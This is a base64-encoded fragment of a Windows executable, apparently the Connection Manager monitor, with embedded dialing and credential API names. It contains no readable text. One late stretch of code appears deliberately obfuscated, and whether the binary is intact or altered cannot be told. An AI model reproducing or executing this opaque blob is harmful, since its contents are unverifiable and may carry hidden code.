AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQW6L/RFOi/ NBXov+Ic6L8AAAAAQijyvwAAAACjlPq/7BP4v6ht97/Qdve/qwr6vwgt+b9mb/e/kHX3v/jU+L8W d/e/jyv5v8Z197++cve/bF35vzhq979t4Pe/F373v8Yg+L+hcPe/0En3v7RI979rUfi/vcj3v599 979Q4fi/VHT3v0gv+b8iC/i/Kgr4vxgT+b/N4Pi/SEn4v6lz978yc/e/qSD4v4Ry97/hEvq/ST34 vwAAAADPJPW/pU71v0ta9b8IV/W/mCD1v2kS9b+7JPW/7h71v3Uk9b//VvW/DVj1v9ck9b9TT/W/ Nk/1v8QR9b9KH/W/clD1vzZY9b+nVfW/TVb1v9AQ9b/QEPW/cVz1v2sV9b8zR/W/vyT1vyZB9b/r EPW/0BD1v+IQ9b8oWPW/HRf1v6Av9b/wFPW//E71v9Qb9b9xJPW/cBb1v/NW9b8rJfW/9yT1v/ER 9b/7JPW/Nxv1vxkT9b+RVfW/GFn1vz5J9b8pSfW//Ff1v2lX9b9iQ/W/cVH1v81b9b/BRPW/PVf1 vwAAAACeGOp+ZBvqfhEc6n7/IOp+vxLqfmUe6n7RE+p+SxXqfukg6n4rGep+IBXqfoQU6n5aE+p+ JR3qfk4f6n5TGep+uhnqfp8X6n7sG+p+rRvqfvgd6n4UEup+5xrqfvwa6n4AAAAAAAAAAOlA/TYA AAAABAAAABABAAAAAAAAAHwAAAAAAADpQP02AAAAAAMAAADQBwAAAAAAABBrAAAAAAAA6UD9NgAA AAAGAAAAAAAAAAAAAADgcgAAAAAAAOlA/TYAAAAAAgAAABwAAAAAAAAAkP6n/1QTAAFMEwABQBMA ATgTAAEsEwABIBMAARATAAEEEwAB+BIAAewSAAHcEgABzBIAAbgSAAGoEgABSGlkZVRyYXlJY29u AAAAAE5vUHJvbXB0UmVjb25uZWN0AAAASWRsZVRocmVzaG9sZAAAAENtQ3VzdG9tSGFuZ1VwAABD bVJlQ29ubmVjdABjbW1ncjMyLmhscABUcmF5SWNvbgAAAABBdXRvUmVjb25uZWN0AAAASWRsZVRp bWVvdXQASGVscEZpbGUAAAAAQ01TRmlsZQBTbWFsbEljb24AAABJY29uAAAAAENvbm5lY3Rpb24g TWFuYWdlcgAAjBoAAbM2AAHKNgABkBoAAZUaAAEAAAAAUmFzQ29ubmVjdGlvbk5vdGlmaWNhdGlv bkEAAFJhc0dldENvbm5lY3RTdGF0dXNBAAAAAFJBU0FQSTMyLkRMTAAAAABjbWRpYWwzMi5kbGwA AAAAUmFzTW9uaXRvckRsZ0EAAHJhc2RsZy5kbGwAAEludGVybmV0U2V0RGlhbFN0YXRlAAAAAHdp bmluZXQuZGxsAFQTAAEQEwABOBQAASQUAAFDTSBNb25pdG9yIFdpbmRvdwAAAENtTW9uIFJlYWR5 AHN5c3RlbQAAZGVmYXVsdAB3aW5zdGEwAAAAAABUEwABEBMAAQAAAAAAAAAAVBMAARATAAEBAAAA jhcAABMEAADzAwAAGQQAAIQXAAAAAAAAAAAAAIwaAAFrOAABZjgAAZA3AAHyNwABVGFza2JhckNy ZWF0ZWQAAMAUAAFNZW51IE9wdGlvbnMAAAAAJXUAAGAVAAFMFQABPBUAASwVAAEYFQABBBUAAfAU AAEgIzJcQ29ubmVjdFNwZWVkAAAAACAjMlxUb3RhbEJ5dGVzWG1pdAAAICMyXFRvdGFsQnl0ZXNS ZWN2ZABcQ29ubmVjdFNwZWVkAAAAXFRvdGFsQnl0ZXNYbWl0AFxUb3RhbEJ5dGVzUmVjdmQAAAAA UGVyZlN0YXRzXFN0YXREYXRhAABjb21tL2RhdGFtb2RlbQAAbGluZUdldElEAAAAVEFQSTMyLkRM TAAAUm5hR2V0RGV2aWNlUG9ydAAAAAByYXNhcGkzMi5kbGwAAAAAU2hlbGxfTm90aWZ5SWNvbkEA AABTaGVsbEV4ZWN1dGVFeEEAU2hlbGxFeGVjdXRlQQAAAFNoZWxsMzIuZGxsAElDb25uTWdyIFpS UlMgRXZlbnQAIzEwMTAAAABybmFhcHAuZXhlAABAFgABAAAAAE1CU0xHTjMyLkRMTAAAAABDb25u ZWN0IEFjdGlvbnMAQ2FjaGVDcmVkZW50aWFsAERlbGV0ZUNyZWRlbnRpYWwAAAAAQ21Db25uZWN0 aW9uT3BlbgAAAABDbUNvbm5lY3Rpb25UYWJsZQCLwTPJiQiJSAyJSAiJSATD/zHogzUAAMNVi+xR i0UMU1aD+P9Xi9l0A4lDDIt1CDP/O/d1FP8z6F41AACJO4l7CIl7BOnQAAAAizuF/3Uwi/7B5wJX 6EY1AACL0IXSiRMPhLMAAACLz4v6i9EzwMHpAvOri8qD4QPzqolzCOsoi0MIO/B/JotTBDvyfhqL zo08lyvKM8DB4QKL0cHpAvOri8qD4QPzqolzBOtti0sMA8E78IlFDHwDiXUMi0UMweACUOjZNAAA i0sEizPB4QKL0IvBi/qJVfzB6QLzpYvIM8CD4QPzpIt1CIt7BIvOK8+NPLrB4QKL0cHpAvOri8qD 4QPzqv8z6I80AACLRfyJcwSJA4tFDIlDCF9eW8nCCABWi3QkCFeL+Tt3BHwLjUYBav9Q6OD+//+L B4tMJBBfiQywXsIIAIvRU4tcJAxXi0oEi3wkDCvPK8t0D4sCVo00O408uI00sPOlXilaBF9bwggA U1VWi/FXjU4Q6IInAAAz242OaAEAAIledIlecIlebIleaOhvJAAAjb6UAQAAi8/oWv7//1aNjrAB AACJXxDokh4AAI2+0AEAAFNTjU8E6K0WAABTU8cHaBMAAYs96BEAAVNTjY7wBQAA/9dTU1NTjY4E BgAA/9dTU1ONjhgGAABT/9eNhrAGAACJGIlYBIlYCI2GxAYAAIkYiVgEiR6JnpABAACJnowBAAD/ FVQQAAGLfCQULfQBAACLLaAQAAGJhqgBAACNhwYCAABoAQEAAFCNhswGAABQiZ6sAQAAiV4Ex4a8 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 